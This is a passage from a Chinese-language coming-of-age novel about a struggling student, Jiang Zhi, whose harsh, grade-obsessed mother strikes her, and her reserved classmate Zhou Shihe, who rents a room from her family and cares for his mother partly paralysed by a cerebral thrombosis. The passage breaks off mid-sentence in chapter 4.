《青槐树下》
1. 脑血栓
2013年,夏。
姜至跟周识鹤在班里没什么交集,一整个高一学年几乎没说过一句话,但她对周识鹤印象很深。
毕竟他是那一年考进天中的第一名。
关于他的传言不多,无非都是跟成绩相关,比如初中就被学校安排去参加竞赛,比如初中两年数学就没拿过满分以外的成绩,再比如他英语口语很厉害,听说是跟外国人学的。
哦,倒是有一处贬义的。
他字丑,非常丑,语文作文的卷面分通常会丢完。
据说天中现在的名人表彰栏里的语录只有他自己的是老师特意机打的,很无趣又正派的一句:【多努力,会成功。】
至于周识鹤对她,应该没什么印象。
否则也不至于见面第一句,他说的是一句礼貌又疏离的,“你好。”
现下是暑假,再过十天就开学了,日头就像这翻页的日历,越临近开学越火热晒人,姜至家里开了空调,不想把门大敞着放暑气进来,就只开一条细缝,探头出去。
周识鹤站在门外,额头汗津津的,脸也有些红,他身上如在校一般还穿着校服,看着很规整。
“你好。”
姜至认出他,慢半拍地应一声:“你也好。”
周识鹤:“你们这有空房出租?”
姜至点头:“有的。”
周识鹤:“方便看看吗?”
“方便的,”姜至要回屋拿钥匙,下意识把门关上,想到外面的人是她同班同学,迟疑一下,把门拉开,“要不你进来?我去找下钥匙。”
“不用,”周识鹤拒绝得很干脆,“谢谢。”
二人虽是同学,但实在不太熟稔,再加上周识鹤性格冷淡,以至于氛围还不如跟陌生人来得轻快。
姜至觉得自己是房东,理应主动活跃下气氛,便在上楼途中没话找话问:“你之前的房子到期了吗?”
周识鹤“嗯”一声。
“怎么找那么晚,现在都没什么好房子了。”
“嗯。”
“……”
看来对方不太想闲聊。
姜至只好闭上嘴。
姜至家这套房子一共三层,一楼凉快,他们一家三口自己住,二楼三楼全部租了出去。
房子在学校附近,租客一般都是学生或是陪读家长,眼下已经过了租房高峰期,家里只剩下三楼两间。一间很小,只能摆下一张桌子一张床,另一间大点,里面还有一个小阳台,在里面支灶做饭什么的不成问题。
周识鹤应该是看中大单间了,问:“能加床吗?”
姜至问:“你两个人吗?”
周识鹤:“嗯。”
“是你……”姜至不知道方不方便问。
“我妈。”周识鹤主动说。
姜至点点头,“这个我不太清楚,是要我们给你们加吗?那我可能要问一下我妈。”
周识鹤说:“我们自己加。”
姜至这才说:“那可以呀,你们随便,你们方便就行。”
周识鹤不是个办事拖沓的人,问好价格觉得合适便定下了。
本来姜至还怕周识鹤跟她砍价,都是同学,万一对方张了嘴,她也不好不便宜,可房租这块她实在做不了主,没想到周识鹤那么速战速决。
周识鹤搬来得也很快。
就是这天不是个好天气。
青槐夏季多雨,通常是急匆匆一阵,不出半个小时太阳就会出来把刚刚那尚未渗透的湿迹蒸发带走,今天倒像是跟周识鹤作对似的,哗啦啦下个不停。
周识鹤东西不多,几个大包,几个拿布条缠好的箱子,他人高马大,东西在他手里还算显得轻盈,只是这雨势恶劣,显得他尤为狼狈。
有好几次姜至都想出去给他送把伞,可一看他搬着东西跑上跑下,哪有功夫打伞呢,她还是别添乱了。
要说这天还真是不通人情。
这边周识鹤把东西悉数搬进屋子,那边头顶一片放晴,眼看着连太阳都要出来了。
姜至作为旁观者都有点来火。
就在她准备出去问问周识鹤需不需要帮忙时,周识鹤搀扶着一个老人迟缓地走进来。
说是老人有点不合适,她五官肌肤看着也就四十多岁,头发却已花白,待他们母子走近,姜至才发现周识鹤的妈妈好像不是一个健全的人。
她走路需要靠搀扶,走得很慢,偏左边的身体似乎没法完全使力。
不知是不是姜至盯得太专注,以致目光灼热,周识鹤的妈妈似有察觉地往窗户这边看一眼,姜至这才发现周识鹤的妈妈整张脸肌肉纹理是不太对成的,嘴巴眼睛都有一点斜。
这好像是……脑血栓病情导致的半身不遂?
姜至震惊瞠目,差点发出惊呼,她连忙捂住自己的嘴,无奈动静太大,不小心打翻了窗台上的蚊香盘,蚊香稀碎落地,香灰如尘漫天,香头那一点星火飞到姜至的脚背,她没忍住哀嚎出声,随之整个人抱头蹲下,恨不得能遁到地里去。
真的是……太尴尬了!
如实讲,姜至并非有意窥探周识鹤的隐私,无奈这事实在办得难看,她也莫名“做贼心虚”,一整天都不敢出门,生怕跟周识鹤撞个正着被他升堂质问。
傍晚姜至的母亲林淑下班,远远地就瞧见三楼有动静,进门问姜至:“三楼那个搬来了?”
姜至“嗯”一声。
林淑工作单位离家不远,然而再短的路途也招架不住这火热的天,几步路就热得她头脑发昏。
“给我倒杯水。”林淑往沙发椅上一坐,使唤姜至。
姜至刚把水端来,林淑还没喝一口就问姜至,“作业写多少了?”
姜至不自觉撇了下嘴,说:“写了一点。”
“一点是多少?”林淑不满意这个回答,她柠着眉喝一口,又指使姜至,“拿过来我看看。”
姜至很想说自己不是小学生了,写作业什么的根本不需要家长再看着,可一看林淑脸上还没散去的热劲和大口喝水的迫切,姜至又觉得林淑总归是为她好,这炎炎夏日,她在家吹空调一吹一整天,林淑在基层跑前跑后指不定要挨领导多少骂,她还是不要主动找骂了。
姜至老实把暑假册拿过来。
姜至从小到大被林淑教导写作业要在页脚上写上日期,久而久之养成习惯,所以林淑随便一翻就知道姜至今天写了多少。
才三页。
“其他的呢?”林淑已经不悦。
姜至声音如蚊蝇。
林淑声音拔高,“大点声!哑巴了?”
姜至这才红着耳根说:“没写。”
林淑把册子摔在桌子上,往后一靠,抱肩质问:“为什么不写?”
姜至又不说话了。
从小到大林淑最讨厌姜至当哑巴这一套,打骂都不少,偏偏就是改不过来。
“我问你话呢?为什么不写?今天看电视没?还是跑出去玩了?”
姜至说没有。
“没有为什么不写作业?这屋里空调开着,灯亮着,家里水果牛奶缺你什么了?就让你写个作业怎么这么难?姜至你还小吗?你觉得自己还是二三年级吗?你马上开学都高二了你知不知道,就你那成绩能考上大专我都谢天谢地,班里年年垫底你不着急吗?我如果是你别说睡觉,我饭都吃不下去!”
“识鹤,蚊香和花露水都买点回来。”楼上传来含糊不清的呼唤。
“哦。”周识鹤的声音就在楼下。
就在屋外。
姜至忽然觉得林淑今天的教导格外刺耳,她耳朵火辣辣的,脸也一瞬全红,眼睛堆满了水,很快就要决堤喷出。
她感到丢人。
比下午那阵儿还丢人。
她泪眼模糊地盯着自己的脚背,那白晃晃的肌肤上有一颗淡红色的痕迹,像蚊子血一般,隐隐作痛。
“又哭!你不要觉得自己是女生就可以哭,你已经是个大人了知不知道?”
“叮铃铃——”
家里座机正巧响起,打断林淑。
林淑只能让姜至滚回房间里哭,“再写十页
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,不写完不准吃饭!”
姜至拿手背一抹眼泪,拿起册子往房间里去,关门的一瞬听见林淑接起电话,不多时埋怨声起:“又不回来,成天不回来,也不知道多大官天天喝不完的酒,喝死在外边你看我给不给你扶棺。”
挂了电话又骂:“一个个都不省心,老的老的不务正业,小的小的不成气候,我这辈子是就这样了,谁都指望不上!”
家里没别人,这话只能是说给姜至听的。
姜至捂住耳朵趴桌子上装聋作哑,好一会儿才慢慢听见厨房传来开火的动静。
林淑厨艺一般,色香味通常只能占一样,今天姜先舟不回来,她随便摆弄一个青菜炒肉,煮了点绿豆粥,喊姜至吃饭。
姜至起初没出来,林淑又扯着嗓子喊两声她才开门,林淑瞪她,“没长耳朵?什么时候聋的?”
姜至说:“你不是说我写完再吃吗?”
林淑作势要拿筷子敲她头,“还犟嘴!一天天瘦得跟干尸一样,要什么没有什么,回头再往后排坐我看你还能瞧清黑板不?”
姜至不接茬,心不甘情不愿地坐下吃饭。
其实说姜至瘦,林淑也胖不到哪里去,其他中年女人到她这年纪多少都开始发福了,她却一直一百斤上下。
现在天气热,又刚做完饭,林淑没什么胃口,就一直给姜至夹菜,姜至一整天大门不出二门不迈,下午再吃点西瓜,哪有那么饿,再加上刚刚一顿折腾,她扒拉两口就说自己吃饱了。
林淑让她再吃点,姜至就开始用一贯伎俩,小口小口啄,半天不下二两汤,林淑看着来火,让她哪来滚哪去。
回屋不足十分钟,姜至就听到外面传来吵闹声,偶有“什么病秧子”“再死我这儿”等尖锐字眼。
姜至本来打算继续捂耳朵,眼前忽然闪过周识鹤妈妈的模样,姜至蓦地一怔,随即起身就往外跑。
果不其然,林淑在三楼。
她一个人在走廊,三楼门开着,她连屋都不愿意进,很嫌弃的样子,说话格外难听。
姜至跑出来的同时,周识鹤正巧从外面回来,四目相对之时,姜至宛若头皮炸开一般,她顾不得什么,失声大喊:“妈!”
林淑闻声往下看,“叫什么?你往外租房子也不长长脑子,什么人都往家里带?”
姜至生怕林淑再说什么难听话,再次大叫,“妈!”
“闭嘴!”林淑拧着眉,瞧见周识鹤,正要说什么,忽然一顿,盯着周识鹤不说话了。
间隙里,姜至跑得飞快往三楼去,她拉扯林淑,“妈,走了,先回去。”
这时周识鹤也上来,他走着,比姜至慢,但胜在腿长,没慢太多,很快来到林淑面前。
少年身高面冷,浓眉深眼,即便穿着规矩的校服也有几分压人的气场。
姜至一时失语,搞不懂自己今天是不是没看黄历,点儿怎么能背成这样。
她思忖着该跟周识鹤怎么解释,林淑忽然出声问:“你是天中的周什么鹤?”
姜至:“哎?”
“周识鹤!”林淑已经想起来。
姜至再次:“哎?”
“是你啊,”林淑若有所思片刻,问,“里面那个是你……”
她换了个书面用词,“母亲?”
周识鹤嗓音沉着,“嗯。”
“脑血栓?”林淑问得很直白。
姜至面上一热,反倒是周识鹤这个当事人看着很坦荡,“嗯。”
“严重吗?”林淑又问。
姜至有点琢磨不明白林淑的意思了,只听周识鹤回答:“已经好了,有点后遗症。”
这是姜至和周识鹤同班同学一年以来,除去上课回答问题以外,她听见他说得最多的一次话了!
“好,以后大事小事记得及时说。”林淑又交代一句。
这次周识鹤没回答林淑。
姜至跟在林淑屁股后面,很想替林淑跟周识鹤道歉,无奈一直没找到机会,她甚至想用眼神表情示意,只可惜周识鹤自始至终都没有看她一眼。
2. 行李箱
周识鹤不知是太忙不怎么着家还是很少出屋,总之自那天后,姜至再也没有碰见过他,偶尔姜至会在窗前转悠,转悠两三圈没碰到人,又觉得自己这行为很蠢,只好佯装很有需求地摆弄两下蚊香盘,再若无其事回房间。
没几天青槐又落一场雨,雨停后太阳便没那么烈了。
开学前一天,姜至在巷子门口碰见了周识鹤。
他手里拎着一个塑料袋子,里面大瓶小瓶都是油盐酱醋,身上没再穿那套校服,简简单单的白T黑裤,看着清清爽爽,是这个年纪的男生少有的居家模样。
姜至在路口站着,还在思考自己要不要笑一下打声招呼时,周识鹤面不改色地从她跟前过去了。
“……”
这人到底是在恨屋及乌生她的气还是天生脸臭性格不好?
姜至搞不明白。
翌日开学第一天,班里乌泱泱跟菜市场差不多,有人到处威逼利诱找作业抄,有人绞尽脑汁研究一会儿到底是跟老师说作业落家里了还是被家里小孩拿去撕了,有人抱抱这个感慨好久不见摸摸那个震惊怎么有人暑假还能偷摸减肥,还有人手舞足蹈跟朋友说追的韩团上了哪个哪个综艺,哪个片段最搞笑。
陶馨属于后者,从进门就拉着代湘智聊一个韩团,姜至不追星,也不是特别爱看综艺,在家里她虽然电视机自由,但她更多的是看电视剧和电影,尤其喜欢看大长剧,最好是老剧,这样不用追更新。
当然最重要的还是,电视台那几档很出名的综艺一般播放时间都是黄金晚间,那个时间段林淑在家,林淑不喜欢她看这些年轻明星,认为她会被扰乱心神,所以她从小便不看,长大自然而然没了兴趣。
眼下陶馨和代湘智讨论得热火朝天,姜至捧着脸发呆。
眼前蓦地有身影晃过,是周识鹤从她眼前过去,姜至不自觉扭头,眼神追随过去,陶馨注意到,看去,“谁啊?”
姜至收回目光,“没谁。”
她真老实说谁陶馨反而不好奇,她这样陶馨忍不住把前面的人看了个遍,“到底谁啊?”
姜至装傻:“什么?”
轮到陶馨无语,正准备和代湘智一起严刑拷打,班主任江跃进来,二话没说就让各小组组长收暑假作业,班里氛围一瞬降至冰点。
江跃扫一眼台下,唤:“周识鹤。”
周识鹤抬头,江跃说:“数学作业你单收,现在就收。”
周识鹤没应声,只起身,从第一排第一个挨个收。
姜至从前听陶馨说过,周识鹤初中时在班里不算特别惹眼的那一个,也就每逢出成绩时略显风头盛,可进入高中不知怎么突然就像他名字那般鹤立鸡群起来。
可能是初升高的那个暑假周识鹤长高很多,身子五官也一同长开,他平日里沉默话少,以前显平庸,如今却增添几分不同于其他聒噪男生的稳重气质,再加上他成绩好,为人低调,渐渐地,便很有神秘感。
久而久之,也逐渐有了暗许芳心的小姑娘。
比如此时此刻正往周识鹤手里递作业本的一组组长。
陶馨捧着下巴感慨:“羡慕啊,这下小雯回去能开心到半夜。”
项雯喜欢周识鹤是很多人都知道的事,据说是高一开学搬宿舍那天,项雯行李箱出了意外,炸开在半道,其他男生因为行李箱里的私密衣物起哄嬉笑时,是周识鹤过去给她修好了行李箱,还顺手从行李箱里抽出一件外套盖住了暴露在大庭广众之下的私密衣物。
从那以后周识鹤是项雯嘴里最常提到的三个字。
有时候有人打趣项雯,项雯也完全不在意,她认为周识鹤这个人值得她喜欢。
姜至想着,目光从周识鹤脸上划过。
这个人,长得确实不丑,但要说很帅,倒也谈不上,只能说五官面孔比较周正,可这人脸臭,脾气应该也很差。
就因为成绩好,所以值得被喜欢吗?
姜至尚未开窍,并不懂异性之间的喜欢与不喜欢是什么感觉,她觉得自己还是个小学生,每天仍然在研究怎么才能从林淑的眼皮子底下耍些小聪明。
说到成绩,姜至从小成绩就不好,她是早产儿,小时候身体不好,三天两头请假,课时逐渐跟不上,本来高中她没考上天一中学,是林淑托关系花大钱让她在这借读。
林淑生性高傲,什么都想要最好的,就连女儿上学的班级也要最好的。
天一中学有两类班级,一类天甲班,一类地乙班,天甲班一共四个班,三理一文,地乙班则有三十几个,姜至一个连天一中学都没考上的能在天甲一班借读,可见林淑费了多少心思。
只可惜学习能力不是种花种树,有好肥好料就能种出来的,姜至觉得自己就不是一块学习的好料子,就算让她跟周识鹤做同桌,恐怕她也很难考上知名大学。
想到这,姜至没忍住又望向周识鹤一眼。
也不知道周识鹤这种人能考上什么好大学。
望着望着,周识鹤就来到了姜至身边。
他一字不语,只把一摞作业放在她桌角,示意她把自己的放在最上面。
姜至撇撇嘴,心想至于么,好歹她也是房东,真一句话不跟她说。
刚开学的晚自习没什么正事,江跃跟找乐子似的随便翻几本收上来的册子,把其中一个揪上台问他为什么选择题全选C,还有几个组长统计作业没交全的,逢下课铃敲响,江跃让他们去办公室候着。
江跃前脚出门,教室后脚炸开锅。
陶馨一副劫后余生的表情,“我的妈呀,我全选的B!”
代湘智拍拍胸口,“还好,我轮着选的。”
陶馨:“好可怕,吓得我都饿了,去食堂买点吃的吧。”
姜至:“……这也能饿?”
陶馨瞪眼。
姜至闭嘴。
三人刚出教室就碰见项雯,她是他们那组组长,有落下的作业没收,这会儿准备送去办公室。
陶馨一见她就打趣,“哦哟哦哟,今天幸福了啊。”
项雯笑笑,没否认也没反驳。
去往办公室的方向既是楼梯的方向,也是男厕所的方向。
她们身后有不少男生,嘻嘻哈哈地要去厕所,
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姜至侧身让道时,一偏头看见最后面的周识鹤。
她瞧了他一眼,若无其事收回目光,假装没看见。
很快陶馨也看见周识鹤,再次“哦哟”一声,项雯回头,看见是周识鹤,竟直接站在原地不走了。
直到周识鹤两步走过来,她才笑着跟周识鹤说:“我一会儿找你问两道题,行吗?”
周识鹤点点头,步伐不变。
项雯跟上,闲聊一般吐槽这次寒假册子有很多题都很难。
而姜至早被陶馨拉着走在前面,与他们二人分开距离。
先路过办公室,紧接着便是楼梯,姜至没有理由再回头,一路和陶馨代湘智说说笑笑走下楼梯。
姜至本以为周识鹤是赌气,毕竟设身处地地想一下,如果换做她本人,她也会很生气很生气,可她脾气总是来得快去得也快,很难像周识鹤这样,明明跟她在一个屋檐下,却还能若无其事地装成陌生人。
然而日子一天天过去,姜至在季节转换之间,逐渐发现周识鹤并非与她赌气,他似乎是不在乎那件事,也不觉得租住她家就一定与她在关系上有所亲近。
他仍然把她当成普通同学,如同高一一整个学年那般,高二上学期整个学期,他们二人都没有任何往来。
更让人疑惑的是,姜至从来没有在上学或者放学路上碰见过周识鹤,在自家院里,也极少能碰面。
久而久之,姜至也渐渐遗忘了他们同住一个屋檐下这层关系。
一月底,青槐在考试周抵达的前一夜,悄无声息下了一场大雪。
姜至家里装的有暖气水管,十一月下旬便开始供暖,所以她起初并未觉得冷,把衣服穿好拉开窗帘,只见窗外满城覆雪,城中村入目只有灰白,宛若一幅旧时的画历。
远处郊外新楼高起,雪雾里遥遥望去,似海市,状蜃楼。
青槐地处中原,冬天虽然温度低,但是冷的时间却不算长,所以城市没有统一规划装暖气,大家口口相传说他们是靠着一身正气熬冬天。
姜至是没这种正气,也许是身体基础不好吧,她总觉得冬天冷,难捱,老师让写关于四季的作文,她写她讨厌冬天,后来作文被林淑看见,林淑到处托人打听,在家里装了暖气,自那以后,她又觉得冬天是一个极好的季节。
此刻入目大雪宛若铺盖自天覆下来,待新阳升起,积雪融化,一切焕然一新。
似乎只有经历过冬天,春天的来临才显得格外崭新与明媚。
目光落到近处,小院里不知何时已经留下人的脚印和小猫的梅花印,大大小小的,看着格外喜人。
余光瞥见楼梯有人下来。
姜至看见是周识鹤,又靠近窗边一寸。
周识鹤仍是校服穿搭,手揣兜里,下楼时隔壁邻居养的小花猫蹲在拐角沉浸式舔爪子,他顺手摸了一把猫脑袋,给猫摸得愣一秒,反应过来,一瞬炸毛,跃身跑了。
始作俑者本人倒是如常下楼,大步离去。
姜至一直望到周识鹤身影消失在视野,才收回心神,后知后觉帮小花猫讨回公道:这人怎么毛鸡爪?
3. 成绩单
考试断断续续一共四天,这四天雪一天比一天大,地上也一天比一天滑,院子角落里的雪堆堆得厚厚的,反复化冻又上冻,不知何时竟成了一坐小冰山。
冰山一直堆到期末成绩出来那天。
姜至从学校回来,满面愁容,她进家门不久,周识鹤也回来了,他看上去倒是没什么特别的喜哀,想想也是,他从初中开始就没跌出过年级前三,又有什么可喜怒无常的呢?
姜至从窗前离开,深深叹口气,回自己屋提心吊胆。
临近中午,林淑下班回来,她手里拎着青菜,心情看上去还不错,一进家门就喊姜至:“姜至,中午吃菠菜啊。”
姜至“哦”一声说好。
林淑:“过来帮忙洗菜。”
姜至慢吞吞过去。
林淑本来没想起来今天什么日子,刚做好饭就听到二楼传来一个家长的骂声:“我辛辛苦苦供你吃供你喝你就考这点分报答我?上什么上,下学期别上了,进厂打工去!”
林淑忽然想起来,看向姜至,姜至心一揪,林淑见状拧眉,“你考得怎么样?这种事还用等着我问?”
姜至声音细若蚊蝇,“不好。”
林淑:“说什么?大声点!”
姜至深吸一口气,说:“不好。”
“又不好?从小到大你哪回考得好?我真怀疑你每天起早贪黑到底干什么去了!”林淑没有要吃饭的意思,指着姜至房间说,“把成绩单拿过来。”
姜至不敢不从,只能把成绩单拿出来。
果然,林淑刚看一眼就把成绩单拍桌子上,餐桌上的筷子从碗边落下,滚几圈滚到地上发出刺人的响声。
林淑胸口起伏,眼睛都红了,她不可置信地咬牙切齿道:“第四十七名?全班一共多少学生你告诉我!姜至!你脑子到底能不能开一点窍?”
姜至垂着头不说话。
林淑看得愈发来气,瞥见通知书上的学校logo,想起家里还有一个这个学校的,问她:“周识鹤考得怎么样?”
姜至哪里知道呢?
但是不用知道,想必也是年级里能排到名次的。
“不知道。”姜至声音很小。
“不知道?我看是不用知道吧!人家当初可是第一名考进的天一,照片在学校大门口挂了整整一年!我一个路过的人都认识人家,现在人家就住在你家里,你怎么不能跟人家学习学习呢?人家天天几点出门,学习到几点,你问过没有,效仿过没有!”
林淑掐着腰,越说越来火,手指大力地戳姜至的头顶,“你以为我为什么同意他们住在这?他妈那个病,哪天真死咱们家了,咱们房子还租个屁!今年所有人都在涨房租,你看我跟他家提过这回事没?我还不是希望人家能一直住这,给你做个榜样?”
林淑字字句句全是呕心沥血,可姜至完全不知道她的用意,她甚至为林淑有这样利用的歪心思而感到愧疚。
可林淑一向爱钱,却能因此不给周识鹤涨房租,对于周识鹤那样的家庭,是不是也算好事一桩?
姜至不停地胡思乱想,一会儿觉得林淑别有用心,一会儿又觉得她身为母亲这样谋划似乎也无可厚非,一会儿想替周识鹤质问一句凭什么这样诅咒他的家人,一会儿又想反正他也没有亲耳听见林淑这样说,反倒是房租是真真切切省下来了,可转念又一想,也许人家并没有把钱看得那么重要呢?看他那样细心地照顾他的母亲,想必给他再多钱也不愿意让别人骂一句吧?
好烦。
姜至感觉自己脑袋快炸了。
她想得越多,嘴里却半句话说不出来,低着头任凭林淑骂。
林淑被她这软棉花样气得一肚子火发不出来,气上头直接一把揪起她的头发迫使她抬头看自己,“说话!”
姜至疼得眼泪瞬间决堤涌出,她还是不说话,只沉默地急促呼吸。
林淑头昏脑胀,一巴掌甩到姜至后脑勺上,姜至整个人都懵了,林淑指着她,“全班一共五十个人,你考四十七,你怎么不嫌丢人!”
姜至感觉林淑的声音就像自天外传来一样,传至她耳边恍恍惚惚,夹杂着嗡鸣声,待她回神后,头顶的余震和心底的委屈让她眼泪掉得更凶。
林淑指着她骂,她恨不得转身就走,可双脚却宛若灌铅,动弹不得,她只好扎根在原地,这模样落在林淑眼里更加蠢笨。
林淑气地抓起她的胳膊在她后背猛拍两下,又揪她的耳朵问她每天上课到底有没有用心听,长耳朵不用干脆割了去。
正叫骂着,门忽然被人推开,林淑看去,只见姜先舟脸上挂着笑地进来,他前脚刚跟邻居打招呼,劝邻居别太把小孩成绩当回事,后脚进门就看见自己的女儿在因为成绩挨打。
“哎,怎么回事?”姜先舟忙不迭进屋,门都忘记关,“怎么又打孩子,考得不好就不好,她没到处给你添乱不就行了。”
“你懂什么!你就会装好人,回头她没有大学上我看你丢不丢人!”林淑大喊。
姜先舟哎呀哎呀地把姜至往怀里抱,姜至脸一沾着姜先舟的胸口就开始嚎啕大哭,林淑见状更气,“你还哭,你考个倒数你还有脸哭,我每天忙得脚不沾地我才应该哭!一个成天喝酒不进家,一个脑子天天跟进了水一样,我跟你爸那个时候一边帮家里干活一边上学也没见考成你这个样子!”
姜先舟笑着和泥,“好了好了,考完就考完了,下学期咱好好学,回头争取多进步几名,是不是。”
说着姜先舟把姜至从怀里拉出来,示意她去关门,姜至看一眼林淑,林淑一甩头去了厨房,姜先舟跟上去,姜至这才抽抽嗒嗒去关门,哪知那么巧,手刚挨上门,模
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糊的视野里出现一双眼熟的鞋。
姜至一怔,甚至忘记关门,她愣愣地抬头,看见周识鹤,他不知道是有事还是单纯的路过,也许是被姜至哭红的眼吓住,也站在原地。
二人对视片刻,姜至终于反应过来,可她脑子已经懵了,该说什么不该说什么也完全顾不上了,全靠自尊心支撑着一句凶狠的:“看什么看!没见过挨打的?”
周识鹤一拧眉,姜至立刻把门拍上,也不管周识鹤到底有没有事。
林淑听到声响大喊:“摔谁呢?胆子肥了是不是!”
姜先舟“哎呀哎呀”地劝林淑别气,姜至没胆子冲林淑,只好回屋啪嗒啪嗒地掉眼泪。
下午林淑和姜先舟如常上班,姜至一个人在床上瘫着装死,不知不觉间睡了一觉,迷迷糊糊听到有人敲门,她才头脑蒙蒙地去开门。
门外是二楼的租客,一位陪读妈妈,平日里除了接送孩子就是上班,姜至鲜少见到她在家。
“姜至啊,你妈妈在家吗?”她脸上笑意腼腆。
姜至摇摇头,“您有什么事?可以先给我说,晚上我跟我妈说。”
“也不是什么大事,就是那个厕所的水管冻住了,大家上厕所想冲也没法冲,时间长估计挺脏的,我早上碰见三楼那个学生,当时我着急上班,就跟他说让他碰见你妈跟你妈说一声,这小孩可能是忘了,刚刚我上去看已经堵得有点严重了,你看,要不先找人来弄一下?”
青槐冬天冷,水管冻住是常有的事,姜至家里常年有租客,情况多杂,林淑备着各种维修工人的电话。
“好,我这就打电话让人过来弄,”姜至说完,犹豫了下,问,“三楼的学生,是那个高中生吗?”
三楼住了两户,还有一户是初中生。
“应该是高中吧,我看校服是天中的。”
姜至点点头,心知中午那会儿周识鹤所为何事。
她一通撒气,他明明有事,却没继续来敲门,想必也是顾念她的自尊心,又或者,他其实有点生气了,想想也是,谁莫名其妙被骂一通都会生气吧?
姜至越想越愧疚,帮周识鹤解释说:“他中午来过,当时我们家有事,不好意思啊。”
“没事没事,这都是小事,你一会儿记得打电话喊人啊。”
姜至说好。
姜至回屋就找电话约工人,挂电话后坐在沙发椅上好一会儿,目光扫过茶几上的果盘,起身去厨房。
厨房角落放的有一箱赣南脐橙,是姜先舟的同事送来的,家里还有甘肃庆阳苹果,也是旁人送的。
姜至各收拾出五六个,又从冰箱里拿出一个雪梨,雪梨剩得不多,单独拿一个过去显得太小气,姜至拿刀切成了果盘,又拿了一瓶小瓶装的果酱。
如果不是拿不下了,姜至都想再拎一箱牛奶了。
4. 录音机
周识鹤家里有台老录音机,搁在条件差不多的家里早扔八百回了,但因为周识鹤家里条件实在太差,邓丽又实在没有别的兴趣爱好,周识鹤只能一遍又一遍地自己琢磨着修。
最近天冷,周识鹤搬出太阳烤暖器给邓丽用,邓丽怕费电,总是趁周识鹤不在家的时候关上,等听见周识鹤回来的脚步声,再耍小聪明地打开,周识鹤跟她说过一两次,这东西来来回回地开关比一直开着都费电,但邓丽才不信,这天底下还能有什么东西用了比不用还费钱?
好在录音机是电池款,电池耐用又便宜,邓丽躺躺椅上没事做,就一遍又一遍地听她老姐妹邓丽君的歌。
这房子隔音一般,住的学生也多,平日里邓丽会把声音调得很小很小,近期寒假,基本都回老家了,房子空着,邓丽声音稍微开放纵了点。
周识鹤还没到门口就听到那句不知道听多少遍的“任时光匆匆流去,我只在乎你”,他面不改色地推门进来,邓丽把声音调低了问他:“怎么样?在家吗?”
三楼厕所堵了,隔壁邻居临上班前跟周识鹤交代了一句,周识鹤刻意等林淑下班点才下去。
只是没想到听到一出难听的戏。
周识鹤说:“晚上吧。”
周识鹤做事邓丽一向放心,他不多说,她便不多问。
难得今天周识鹤不出门,邓丽便有意做个像样的饭菜,她动作不便,只能口述,周识鹤学着慢慢来。
好在多年历练,周识鹤厨艺这快也算有新收成。
邓丽笑着说:“你看,努力总有回报。”
周识鹤敷衍地应一声,心里琢磨着其他事。
饭后邓丽有午睡的习惯,周识鹤不困,找出寒假作业写。
冬日寒冷,要说邓丽抠搜,周识鹤也好不到哪儿去,家里像冰窖,他愣是没动过要开烤扇的念头。寂静的屋中,除了邓丽绵长平稳的呼吸声,只有周识鹤笔刷落在纸上的声音。
哧啦哧啦——
姜至站在楼梯拐角,拿脚尖摩擦墙角的雪堆。
不远处传来很具年代感的歌声:“甜蜜蜜,你笑得甜蜜蜜……”
歌声曼妙温柔,姜至却心神不宁。
她实在是怕周识鹤一会儿严辞面冷地拒绝她的道歉,毕竟他看上去实在不是个会装模作样寒暄的人。
万一一会儿东西被周识鹤摔出来。
“……”
姜至只能感谢此刻逢寒假,周围没人,至少她不会太丢人了。
又给自己做一会儿心理建设,正准备咬咬牙往周识鹤房间走时,忽然传来一声咣当声,紧接着是周识鹤略显急促地问“没事吧?”,姜至心一急,直接快步过去,招呼都忘记打,直接推开门,面前的场景让她愣住。
屋里好冷。
这是姜至第一想法。
那是尿吗?
地上很大一滩水渍,水泥地发灰,液体颜色看不真切,但隐约泛着黄痕。
周识鹤的妈妈……正侧躺在地上,似乎试图起来,她的裤子半褪,不太体面。
周识鹤弯腰曲背地试图架起她。
因为她的贸然闯入,母子二人一同往她这边看。
周识鹤的目光似乎比这屋里还要冷。
姜至蓦地回神,听到他说:“看够没。”
一瞬间整个人头皮发麻,姜至手忙脚乱把手里的东西放在地上,原本挤得满满当当的东西瞬间从盘子滑落,有一颗橘子一路滚到周识鹤脚下,橘子的新鲜圆润在满是尿液的水泥地上显得愈发刺目。
姜至顾不上捡,磕磕绊绊丢下一句“对不起”,匆匆转身离开。
当晚姜至简直睡不着觉,自己的莽撞冒失和周识鹤母子俩狼狈混乱的画面交替循环出现在脑海,她懊恼自己去的不是时候,又后悔自己没有敲门,反复责怪自己,好不容易睡着,梦境又可谓十分跌宕壮观,早上刷牙的时候,姜至觉得自己黑眼圈都快掉地上了。
这天周六,林淑和姜先舟都不上班,姜先舟不上班的日子总是有各种可以打发时间的活动,比如隔壁邻居约着下象棋,下午又有同事约着冬钓,林淑对此十分看不惯,因为她总是满心思都在姜至身上,而姜先舟的行为显得这场充满剥削与牺牲的婚育只耗尽了林淑一个人的自由。
她心情差,看见姜至的作业进度更来火,坐在姜至旁边脸沉得滴水,姜至当然也知道自己差劲,敢怒不敢言。
林淑是个自诩很有远见的人,姜至上小学的时候,林淑便让她每天写日记,以此锻炼她的写作文能力,姜至上初一的时候,林淑每一个月会挑一个周末让姜至在家写试卷,时间严格按照中考制度把控,上高一的时候便按照高考制度,只是高中强度大,林淑又逢晋升考核,忙的没时间一门一门看着姜至考,便把重心放在语数外上。
今天“考”数学,这是一门无法糊弄的学科,会就是会,不会编都编不出来。
于是在林淑的“监考”下,姜至写了一个解,又写了一个解,套一个公式,又划掉,再套一个公式。
一直到最后一道题,姜至半天连个解字都没写出来,林淑彻底恼怒,一把抓起她的后领让她滚出去,姜至当然不敢滚,只好在一旁站着,林淑指着她,气的半天没说出话,最后脸白着,摸自己的胸口大喘气。
姜至一看担心别真给林淑气出个好歹来,连忙去倒水,水还没送到林淑手里就被推开,姜至一时不察,打碎了水杯,半温不烫的水洒到她脚上,姜至唇一抿,不再有所动作。
林淑缓了好一会儿,才拎起大半空白的试卷哑着声音问:“姜至,你跟我说,你到底有没有用心上学,你现在如果告诉我,好,你就是不想上,你就是不想把心思放在学习上,可以,我认了,我明天就去学校给你办退学,后天就能给你把上班的厂安排好!”
姜至是想上学的。
从小到大,所以教过姜至的老师都接受过林淑的打点,老师也都会跟林淑说:“姜至是个好孩子,心思也单纯,她就是慢了点。”
这一切,无非都是因为姜至在学校听话。
她上课认真听讲,作业好好完成,别管对不对,至少都写得满满当当,实在不会,也会乖巧地写上“不会写”三个字,你说这种学生老师能有什么办法呢,哪天看见成绩单想骂两句都不知道从哪下口。
而姜至如此听话的原因
